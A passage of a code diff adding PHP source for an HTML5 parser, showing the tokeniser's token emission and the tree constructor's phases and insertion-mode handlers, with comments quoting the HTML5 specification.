corresponding to the + // entity name (as given by the second column of the entities table). + return html_entity_decode('&' . rtrim($entity, ';') . ';', ENT_QUOTES, 'UTF-8'); + } + + private function emitToken($token) + { + $emit = $this->tree->emitToken($token); + + if (is_int($emit)) { + $this->content_model = $emit; + + } elseif ($token['type'] === self::ENDTAG) { + $this->content_model = self::PCDATA; + } + } + + private function EOF() + { + $this->state = null; + $this->tree->emitToken( + array( + 'type' => self::EOF + ) + ); + } +} + +class HTML5TreeConstructer +{ + public $stack = array(); + + private $phase; + private $mode; + private $dom; + private $foster_parent = null; + private $a_formatting = array(); + + private $head_pointer = null; + private $form_pointer = null; + + private $scoping = array('button', 'caption', 'html', 'marquee', 'object', 'table', 'td', 'th'); + private $formatting = array( + 'a', + 'b', + 'big', + 'em', + 'font', + 'i', + 'nobr', + 's', + 'small', + 'strike', + 'strong', + 'tt', + 'u' + ); + private $special = array( + 'address', + 'area', + 'base', + 'basefont', + 'bgsound', + 'blockquote', + 'body', + 'br', + 'center', + 'col', + 'colgroup', + 'dd', + 'dir', + 'div', + 'dl', + 'dt', + 'embed', + 'fieldset', + 'form', + 'frame', + 'frameset', + 'h1', + 'h2', + 'h3', + 'h4', + 'h5', + 'h6', + 'head', + 'hr', + 'iframe', + 'image', + 'img', + 'input', + 'isindex', + 'li', + 'link', + 'listing', + 'menu', + 'meta', + 'noembed', + 'noframes', + 'noscript', + 'ol', + 'optgroup', + 'option', + 'p', + 'param', + 'plaintext', + 'pre', + 'script', + 'select', + 'spacer', + 'style', + 'tbody', + 'textarea', + 'tfoot', + 'thead', + 'title', + 'tr', + 'ul', + 'wbr' + ); + + // The different phases. + const INIT_PHASE = 0; + const ROOT_PHASE = 1; + const MAIN_PHASE = 2; + const END_PHASE = 3; + + // The different insertion modes for the main phase. + const BEFOR_HEAD = 0; + const IN_HEAD = 1; + const AFTER_HEAD = 2; + const IN_BODY = 3; + const IN_TABLE = 4; + const IN_CAPTION = 5; + const IN_CGROUP = 6; + const IN_TBODY = 7; + const IN_ROW = 8; + const IN_CELL = 9; + const IN_SELECT = 10; + const AFTER_BODY = 11; + const IN_FRAME = 12; + const AFTR_FRAME = 13; + + // The different types of elements. + const SPECIAL = 0; + const SCOPING = 1; + const FORMATTING = 2; + const PHRASING = 3; + + const MARKER = 0; + + public function __construct() + { + $this->phase = self::INIT_PHASE; + $this->mode = self::BEFOR_HEAD; + $this->dom = new DOMDocument; + + $this->dom->encoding = 'UTF-8'; + $this->dom->preserveWhiteSpace = true; + $this->dom->substituteEntities = true; + $this->dom->strictErrorChecking = false; + } + + // Process tag tokens + public function emitToken($token) + { + switch ($this->phase) { + case self::INIT_PHASE: + return $this->initPhase($token); + break; + case self::ROOT_PHASE: + return $this->rootElementPhase($token); + break; + case self::MAIN_PHASE: + return $this->mainPhase($token); + break; + case self::END_PHASE : + return $this->trailingEndPhase($token); + break; + } + } + + private function initPhase($token) + { + /* Initially, the tree construction stage must handle each token + emitted from the tokenisation stage as follows: */ + + /* A DOCTYPE token that is marked as being in error + A comment token + A start tag token + An end tag token + A character token that is not one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE + An end-of-file token */ + if ((isset($token['error']) && $token['error']) || + $token['type'] === HTML5::COMMENT || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF || + ($token['type'] === HTML5::CHARACTR && isset($token['data']) && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) + ) { + /* This specification does not define how to handle this case. In + particular, user agents may ignore the entirety of this specification + altogether for such documents, and instead invoke special parse modes + with a greater emphasis on backwards compatibility. */ + + $this->phase = self::ROOT_PHASE; + return $this->rootElementPhase($token); + + /* A DOCTYPE token marked as being correct */ + } elseif (isset($token['error']) && !$token['error']) { + /* Append a DocumentType node to the Document node, with the name + attribute set to the name given in the DOCTYPE token (which will be + "HTML"), and the other attributes specific to DocumentType objects + set to null, empty lists, or the empty string as appropriate. */ + $doctype = new DOMDocumentType(null, null, 'HTML'); + + /* Then, switch to the root element phase of the tree construction + stage. */ + $this->phase = self::ROOT_PHASE; + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif (isset($token['data']) && preg_match( + '/^[\t\n\x0b\x0c ]+$/', + $token['data'] + ) + ) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + } + } + + private function rootElementPhase($token) + { + /* After the initial phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED + (FF), or U+0020 SPACE + A start tag token + An end tag token + An end-of-file token */ + } elseif (($token['type'] === HTML5::CHARACTR && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF + ) { + /* Create an HTMLElement node with the tag name html, in the HTML + namespace. Append it to the Document object. Switch to the main + phase and reprocess the current token. */ + $html = $this->dom->createElement('html'); + $this->dom->appendChild($html); + $this->stack[] = $html; + + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + } + } + + private function mainPhase($token) + { + /* Tokens in the main phase must be handled as follows: */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A start tag token with the tag name "html" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { + /* If this start tag token was not the first start tag token, then + it is a parse error. */ + + /* For each attribute on the token, check to see if the attribute + is already present on the top element of the stack of open elements. + If it is not, add the attribute and its corresponding value to that + element. */ + foreach ($token['attr'] as $attr) { + if (!$this->stack[0]->hasAttribute($attr['name'])) { + $this->stack[0]->setAttribute($attr['name'], $attr['value']); + } + } + + /* An end-of-file token */ + } elseif ($token['type'] === HTML5::EOF) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Anything else. */ + } else { + /* Depends on the insertion mode: */ + switch ($this->mode) { + case self::BEFOR_HEAD: + return $this->beforeHead($token); + break; + case self::IN_HEAD: + return $this->inHead($token); + break; + case self::AFTER_HEAD: + return $this->afterHead($token); + break; + case self::IN_BODY: + return $this->inBody($token); + break; + case self::IN_TABLE: + return $this->inTable($token); + break; + case self::IN_CAPTION: + return $this->inCaption($token); + break; + case self::IN_CGROUP: + return $this->inColumnGroup($token); + break; + case self::IN_TBODY: + return $this->inTableBody($token); + break; + case self::IN_ROW: + return $this->inRow($token); + break; + case self::IN_CELL: + return $this->inCell($token); + break; + case self::IN_SELECT: + return $this->inSelect($token); + break; + case self::AFTER_BODY: + return $this->afterBody($token); + break; + case self::IN_FRAME: + return $this->inFrameset($token); + break; + case self::AFTR_FRAME: + return $this->afterFrameset($token); + break; + case self::END_PHASE: + return $this->trailingEndPhase($token); + break; + } + } + } + + private function beforeHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "head" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { + /* Create an element for the token, append the new element to the + current node and push it onto the stack of open elements. */ + $element = $this->insertElement($token); + + /* Set the head element pointer to this new element node. */ + $this->head_pointer = $element; + + /* Change the insertion mode to "in head". */ + $this->mode = self::IN_HEAD; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title". Or an end tag with the tag name "html". + Or a character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or any other start tag token */ + } elseif ($token['type'] === HTML5::STARTTAG || + ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || + ($token['type'] === HTML5::CHARACTR && !preg_match( + '/^[\t\n\x0b\x0c ]$/', + $token['data'] + )) + ) { + /* Act as if a start tag token with the tag name "head" and no + attributes had been seen, then reprocess the current token. */ + $this->beforeHead( + array( + 'name' => 'head', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inHead($token); + + /* Any other end tag */ + } elseif ($token['type'] === HTML5::ENDTAG) { + /* Parse error. Ignore the token. */ + } + } + + private function inHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. + + THIS DIFFERS FROM THE SPEC: If the current node is either a title, style + or script element, append the character to the current node regardless + of its content. */ + if (($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( + $token['type'] === HTML5::CHARACTR && in_array( + end($this->stack)->nodeName, + array('title', 'style', 'script') + )) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('title', 'style', 'script')) + ) { + array_pop($this->stack); + return HTML5::PCDATA; + + /* A start tag with the tag name "title" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $element = $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the RCDATA state. */ + return HTML5::RCDATA; + + /* A start tag with the tag name "style" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "script" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { + /* Create an element for the token. */ + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "base", "link", or "meta" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('base', 'link', 'meta') + ) + ) { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + array_pop($this->stack); + + } else { + $this->insertElement($token); + } + + /* An end tag with the tag name "head" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { + /* If the current node is a head element, pop the current node off + the stack of open elements. */ + if ($this->head_pointer->isSameNode(end($this->stack))) { + array_pop($this->stack); + + /* Otherwise, this is a parse error. */ + } else { + // k + } + + /* Change the insertion mode to "after head". */ + $this->mode = self::AFTER_HEAD; + + /* A start tag with the tag name "head" or an end tag except "html". */ + } elseif (($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || + ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html') + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* If the current node is a head element, act as if an end tag + token with the tag name "head" had been seen. */ + if ($this->head_pointer->isSameNode(end($this->stack))) { + $this->inHead( + array( + 'name' => 'head', + 'type' => HTML5::ENDTAG + ) + ); + + /* Otherwise, change the insertion mode to "after head". */ + } else { + $this->mode = self::AFTER_HEAD; + } + + /* Then, reprocess the current token. */ + return $this->afterHead($token); + } + } + + private function afterHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "body" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { + /* Insert a body element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in body". */ + $this->mode = self::IN_BODY; + + /* A start tag token with the tag name "frameset" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { + /* Insert a frameset element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in frameset". */ + $this->mode = self::IN_FRAME; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('base', 'link', 'meta', 'script', 'style', 'title') + ) + ) { + /* Parse error. Switch the insertion mode back to "in head" and + reprocess the token. */ + $this->mode = self::IN_HEAD; + return $this->inHead($token); + + /* Anything else */ + } else { + /* Act as if a start tag token with the tag name "body" and no + attributes had been seen, and then reprocess the current token. */ + $this->afterHead( + array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inBody($token); + } + } + + private function inBody($token) + { + /* Handle the token as follows: */ + + switch ($token['type']) { + /* A character token */ + case HTML5::CHARACTR: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + break; + + /* A comment token */ + case HTML5::COMMENT: + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + break; + + case HTML5::STARTTAG: + switch ($token['name']) { + /* A start tag token whose tag name is one of: "script", + "style" */ + case 'script': + case 'style': + /* Process the token as if the insertion mode had been "in + head". */ + return $this->inHead($token); + break; + + /* A start tag token whose tag name is one of: "base", "link", + "meta", "title" */ + case 'base': + case 'link': + case 'meta': + case 'title': + /* Parse error. Process the token as if the insertion mode + had been "in head". */ + return $this->inHead($token); + break; + + /* A start tag token with the tag name "body" */ + case 'body': + /* Parse error. If the second element on the stack of open + elements is not a body element, or, if the stack of open + elements has only one node on it, then ignore the token. + (innerHTML case) */ + if (count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { + // Ignore + + /* Otherwise, for each attribute on the token, check to see + if the attribute is already present on the body element (the + second element) on the stack of open elements. If it is not, + add the attribute and its corresponding value to that + element. */ + } else { + foreach ($token['attr'] as $attr) { + if (!$this->stack[1]->hasAttribute($attr['name'])) { + $this->stack[1]->setAttribute($attr['name'], $attr['value']); + } + } + } + break; + + /* A start tag whose tag name is one of: "address", + "blockquote", "center", "dir", "div", "dl", "fieldset", + "listing", "menu", "ol", "p", "ul" */ + case 'address': + case 'blockquote': + case 'center': + case 'dir': + case 'div': + case 'dl': + case 'fieldset': + case 'listing': + case 'menu': + case 'ol': + case 'p': + case 'ul': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "form" */ + case 'form': + /* If the form element pointer is not null, ignore the + token with a parse error. */ + if ($this->form_pointer !== null) { + // Ignore. + + /* Otherwise: */ + } else { + /* If the stack of open elements has a p element in + scope, then act as if an end tag with the tag name p + had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token, and set the + form element pointer to point to the element created. */ + $element = $this->insertElement($token); + $this->form_pointer = $element; + } + break; + + /* A start tag whose tag name is "li", "dd" or "dt" */ + case 'li': + case 'dd': + case 'dt': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + $stack_length = count($this->stack) - 1; + + for ($n = $stack_length; 0 <= $n; $n--) { + /* 1. Initialise node to be the current node (the + bottommost node of the stack). */ + $stop = false; + $node = $this->stack[$n]; + $cat = $this->getElementCategory($node->tagName); + + /* 2. If node is an li, dd or dt element, then pop all + the nodes from the current node up to node, including + node, then stop this algorithm. */ + if ($token['name'] === $node->tagName || ($token['name'] !== 'li' + && ($node->tagName === 'dd' || $node->tagName === 'dt')) + ) { + for ($x = $stack_length; $x >= $n; $x--) { + array_pop($this->stack); + } + + break; + } + + /* 3. If node is not in the formatting category, and is + not in the phrasing category, and is not an address or + div element, then stop this algorithm. */ + if ($cat !== self::FORMATTING && $cat !== self::PHRASING && + $node->tagName !== 'address' && $node->tagName !== 'div' + ) { + break; + } + } + + /* Finally, insert an HTML element with the same tag + name as the token's. */ + $this->insertElement($token); + break; + + /* A start tag token whose tag name is "plaintext" */ + case 'plaintext': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + return HTML5::PLAINTEXT; + break; + + /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': + case 'h2': + case 'h3': + case 'h4': + case 'h5': + case 'h6': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + this is a parse error; pop elements from the stack until an + element with one of those tag names has been popped from the + stack. */ + while ($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { + array_pop($this->stack); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "a" */ + case 'a': + /* If the list of active formatting elements contains + an element whose tag name is "a" between the end of the + list and the last marker on the list (or the start of + the list if there is no marker on the list), then this + is a parse error; act as if an end tag with the tag name + "a" had been seen, then remove that element from the list + of active formatting elements and the stack of open + elements if the end tag didn't already remove it (it + might not have if the element is not in table scope). */ + $leng = count($this->a_formatting); + + for ($n = $leng - 1; $n >= 0; $n--) { + if ($this->a_formatting[$n] === self::MARKER) { + break; + + } elseif ($this->a_formatting[$n]->nodeName === 'a') { + $this->emitToken( + array( + 'name' => 'a', + 'type' => HTML5::ENDTAG + ) + ); + break; + } + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag whose tag name is one of: "b", "big", "em", "font", + "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'b': + case 'big': + case 'em': + case 'font': + case 'i': + case 'nobr': + case 's': + case 'small': + case 'strike': + case 'strong': + case 'tt': + case 'u': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag token whose tag name is "button" */ + case 'button': + /* If the stack of open elements has a button element in scope, + then this is a parse error; act as if an end tag with the tag + name "button" had been seen, then reprocess the token. (We don't + do that. Unnecessary.) */ + if ($this->elementInScope('button')) { + $this->inBody( + array( + 'name' => 'button', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is one of: "marquee", "object" */ + case 'marquee': + case 'object': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is "xmp" */ + case 'xmp': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Switch the content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "table" */ + case 'table': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + break; + + /* A start tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ + case 'area': + case 'basefont': + case 'bgsound': + case 'br': + case 'embed': + case 'img': + case 'param': + case 'spacer': + case 'wbr': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "hr" */ + case 'hr': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "image" */ + case 'image': + /* Parse error. Change the token's tag name to "img" and + reprocess it. (Don't ask.) */ + $token['name'] = 'img'; + return $this->inBody($token); + break; + + /* A start tag whose tag name is "input" */ + case 'input': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an input element for the token. */ + $element = $this->insertElement($token, false); + + /* If the form element pointer is not null, then associate the + input element with the form element pointed to by the form + element pointer. */ + $this->form_pointer !== null + ? $this->form_pointer->appendChild($element) + : end($this->stack)->appendChild($element); + + /* Pop that input element off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "isindex" */ + case 'isindex': + /* Parse error. */ + // w/e + + /* If the form element pointer is not null, + then ignore the token. */ + if ($this->form_pointer === null) { + /* Act as if a start tag token with the tag name "form" had + been seen. */ + $this->inBody( + array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody( + array( + 'name' => 'hr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "p" had + been seen. */ + $this->inBody( + array( + 'name' => 'p', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "label" + had been seen. */ + $this->inBody( + array( + 'name' => 'label', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a stream of character tokens had been seen. */ + $this->insertText( + 'This is a searchable index. ' . + 'Insert your search keywords here: ' + ); + + /* Act as if a start tag token with the tag name "input" + had been seen, with all the attributes from the "isindex" + token, except with the "name" attribute set to the value + "isindex" (ignoring any explicit "name" attribute). */ + $attr = $token['attr']; + $attr[] = array('name' => 'name', 'value' => 'isindex'); + + $this->inBody( + array( + 'name' => 'input', + 'type' => HTML5::STARTTAG, + 'attr' => $attr + ) + ); + + /* Act as if a stream of character tokens had been seen + (see below for what they should say). */ + $this->insertText( + 'This is a searchable index. ' . + 'Insert your search keywords here: ' + ); + + /* Act as if an end tag token with the tag name "label" + had been seen. */ + $this->inBody( + array( + 'name' => 'label', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if an end tag token with the tag name "p" had + been seen. */ + $this->inBody( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody( + array( + 'name' => 'hr', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if an end tag token with the tag name "form" had + been seen. */ + $this->inBody( + array( + 'name' => 'form', + 'type' => HTML5::ENDTAG + ) + ); + } + break; + + /* A start tag whose tag name is "textarea" */ + case 'textarea': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the + RCDATA state. */ + return HTML5::RCDATA; + break; + + /* A start tag whose tag name is one of: "iframe", "noembed", + "noframes" */ + case 'iframe': + case 'noembed': + case 'noframes': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "select" */ + case 'select': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in select". */ + $this->mode = self::IN_SELECT; + break; + + /* A start or end tag whose tag name is one of: "caption", "col", + "colgroup", "frame", "frameset", "head", "option", "optgroup", + "tbody", "td", "tfoot", "th", "thead", "tr". */ + case 'caption': + case 'col': + case 'colgroup': + case 'frame': + case 'frameset': + case 'head': + case 'option': + case 'optgroup': + case 'tbody': + case 'td': + case 'tfoot': + case 'th': + case 'thead': + case 'tr': + // Parse error. Ignore the token. + break; + + /* A start or end tag whose tag name is one of: "event-source", + "section", "nav", "article", "aside", "header", "footer", + "datagrid", "command" */ + case 'event-source': + case 'section': + case 'nav': + case 'article': + case 'aside': + case 'header': + case 'footer': + case 'datagrid': + case 'command': + // Work in progress! + break; + + /* A start tag token not covered by the previous entries */ + default: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + $this->insertElement($token, true, true); + break; + } + break; + + case HTML5::ENDTAG: + switch ($token['name']) { + /* An end tag with the tag name "body" */ + case 'body': + /* If the second element in the stack of open elements is + not a body element, this is a parse error. Ignore the token. + (innerHTML case) */ + if (count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { + // Ignore. + + /* If the current node is not the body element, then this + is a parse error. */ + } elseif (end($this->stack)->nodeName !== 'body') { + // Parse error. + } + + /* Change the insertion mode to "after body". */ + $this->mode = self::AFTER_BODY; + break; + + /* An end tag with the tag name "html" */ + case 'html': + /* Act as if an end tag with tag name "body" had been seen, + then, if that token wasn't ignored, reprocess the current + token. */ + $this->inBody( + array( + 'name' => 'body', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->afterBody($token); + break; + + /* An end tag whose tag name is one of: "address", "blockquote", + "center", "dir", "div", "dl", "fieldset", "listing", "menu", + "ol", "pre", "ul" */ + case 'address': + case 'blockquote': + case 'center': + case 'dir': + case 'div': + case 'dl': + case 'fieldset': + case 'listing': + case 'menu': + case 'ol': + case 'pre': + case 'ul': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with + the same tag name as that of the token, then this + is a parse error. */ + // w/e + + /* If the stack of open elements has an element in + scope with the same tag name as that of the token, + then pop elements from this stack until an element + with that tag name has been popped from the stack. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is "form" */ + case 'form': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + } + + if (end($this->stack)->nodeName !== $token['name']) { + /* Now, if the current node is not an element with the + same tag name as that of the token, then this is a parse + error. */ + // w/e + + } else { + /* Otherwise, if the current node is an element with + the same tag name as that of the token pop that element + from the stack. */ + array_pop($this->stack); + } + + /* In any case, set the form element pointer to null. */ + $this->form_pointer = null; + break; + + /* An end tag whose tag name is "p" */ + case 'p': + /* If the stack of open elements has a p element in scope, + then generate implied end tags, except for p elements. */ + if ($this->elementInScope('p')) { + $this->generateImpliedEndTags(array('p')); + + /* If the current node is not a p element, then this is + a parse error. */ + // k + + /* If the stack of open elements has a p element in + 